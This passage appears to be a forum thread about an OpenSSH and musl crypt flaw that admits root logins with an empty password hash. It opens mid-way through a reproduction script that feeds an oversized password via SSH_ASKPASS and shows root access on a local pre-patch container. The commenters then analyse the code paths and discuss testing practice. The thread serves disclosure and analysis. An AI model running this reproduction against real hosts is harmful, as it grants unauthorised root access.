# needs 2 password attempts in the SAME connection: 1st primes OpenSSH's # cached fake-salt, 2nd (>256 bytes) is then accepted for "root", whose # /etc/shadow password field is "" and who has no real password. # PermitRootLogin yes is required: OpenSSH blocks root password auth by # default (prohibit-password) regardless of this bug. printf '#!/bin/sh\nprintf "A%%.0s" $(seq 300)\n' > "$workdir/askpass.sh" chmod +x "$workdir/askpass.sh"

echo "[] exploiting (2 attempts, one connection, second >256 bytes)..." SSH_ASKPASS="$workdir/askpass.sh" SSH_ASKPASS_REQUIRE=force ssh -p "$port" \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -o PubkeyAuthentication=no -o PreferredAuthentications=password \ -o NumberOfPasswordPrompts=2 [email protected] id < /dev/null $ ./repro_root.sh [] building vulnerable sshd image (Alpine 3.15, pre-patch openssh)... [] exploiting (2 attempts, one connection, second >256 bytes)... Warning: Permanently added '[127.0.0.1]:2223' (ED25519) to the list of known hosts. Permission denied, please try again. uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

never changed i guess

No idea if it's likely to happen though.

We need to re-think EVERY assumption about security.

https://git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_des...

(hey, this workaround is wrong if the salt is "x"!)

but they forgot to work around it here:

https://git.musl-libc.org/cgit/musl/tree/src/crypt/crypt_sha...

The vulnerable path in musl is only a little bit vulnerable, because "" is not actually a sha256* encrypted configuration and should not reach this code: musl's crypt(..., "") will not call that code! Turns out that sshd detects that the password hash is too short and does not forward the salt!

https://github.com/openssh/openssh-portable/blob/master/auth...

Look, no else statement! If that if doesn't get taken, then salt remains NULL. And the sshd code is really quite messy and doesn't keep track of the fact that this code path is inappropriate for validating an existing password hash.

A workaround in the sha256 path in musl wouldn't even have prevented the bug!

I'm going to give some credit to musl for unwisely using "" and some credit to OpenSSH for having nonsensical control and data flow.

When the salt is "x", it'll return "*" and still not match, won't it? The code is correct as long as the second argument is the hash that's being checked. And like you say, the sha512 path isn't relevant since you only get there if the salt started with "$".

> Turns out that sshd detects that the password hash is too short and does not forward the salt!

I think you're misunderstanding the purpose of that check. It was added by the 2016 change linked in the writeup[1] and causes OpenSSH's `xcrypt()` to select and use a salt from a different line of `/etc/shadow` to prevent timing attacks. It is correct for a `crypt()` implementation that returns NULL on error.

[1] https://lists.mindrot.org/pipermail/openssh-commits/2016-Jul...

I think you're right. That's what I get for doing a very very quick read.

> I think you're misunderstanding the intent of that check. It was added by the 2016 change linked in the writeup[1] and causes OpenSSH's xcrypt() to select and use a salt from a different line of /etc/shadow to prevent timing attacks. It is correct for a crypt() implementation that returns NULL on error.

I don't care what the intent of the check is. If you're doing a fake password hash to obscure timing, remember that it's fake and don't let the user log in! Don't deliberately pass nonsense into the live check and rely on the nonsense check failing to prevent the fake check from accidentally working.

Or, better yet, have an entirely separate function fake_check_password() that does the fake check, returns void, and cannot possibly be confused with the actual password check code.

That would be a much better approach. I see your point now.

I think this is the crux. Instead of doing the right thing, they tried to codegolf to get the desired behavior and it got real subtle, real fast.

this is a little flip: maintaining a security-critical program naturally pushes one to minimize code changes because a 30-line change is usually easier to review than a 100-line change. Except when it's not.

This was not security testing as such - mostly latency, performance and hardcore network "can we break it" and "does it comply" stuff, but also a lot of cable and module / line card pulls, pluggable and fiber breaks, random reboots and pre-empting a lot of possible operator inventiveness. At one point we considered SEU bit flip testing on rented cyclotron time.

And always we battled against the top brass urging us to speed up the process and don't bother with "really basic" testing, because we observed software quality going down over the years as the push for release and time to market started to dominate.

So we always started with sanity testing - and that included oversized password and CLI input strings. Always. And we caught things more than once, but never like this.

We were right after all.

Exhilarating, isn't it?

It's about maintaining solid engineering practices and far above proving who's right or wrong.

This is just negligent. Not a fan of rewrite in rust, but I find it highly unlikely this would happen in that community.

Are these people mad? Why on Earth would anybody indicate error like this?

> mostly the boring parts where it talks to libc, like the password code

Is clearly not human.

What a weird wording. Pretty much 100% of any text is *possibly* AI.